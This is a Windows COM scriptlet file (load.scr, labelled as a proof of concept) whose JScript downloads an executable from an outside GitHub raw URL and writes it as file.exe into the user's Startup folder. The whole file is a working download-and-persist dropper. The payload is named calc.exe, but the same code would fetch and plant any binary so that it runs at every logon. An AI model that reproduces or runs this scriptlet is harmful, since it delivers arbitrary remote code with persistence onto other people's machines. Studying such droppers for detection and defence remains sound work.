load.scr

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<script language="JScript">
		<![CDATA[
	    	var w = new ActiveXObject("WScript.Shell");
            localpath = w.SpecialFolders("Startup") + "\\file.exe";
            url = "https://raw.githubusercontent.com/fuckup1337/calc/main/calc.exe";

            var r = new ActiveXObject("MSXML2.XMLHTTP");
            r.open("GET", url, false);
            r.send();

            var s = new ActiveXObject("ADODB.Stream");
            s.Type = 1;
            s.Mode = 3;
            s.Open();

            s.Write(r.ResponseBody);
            s.Position = 0;
            s.SaveToFile(localpath);
            s.Close;
		]]>
</script>
</registration>
</scriptlet>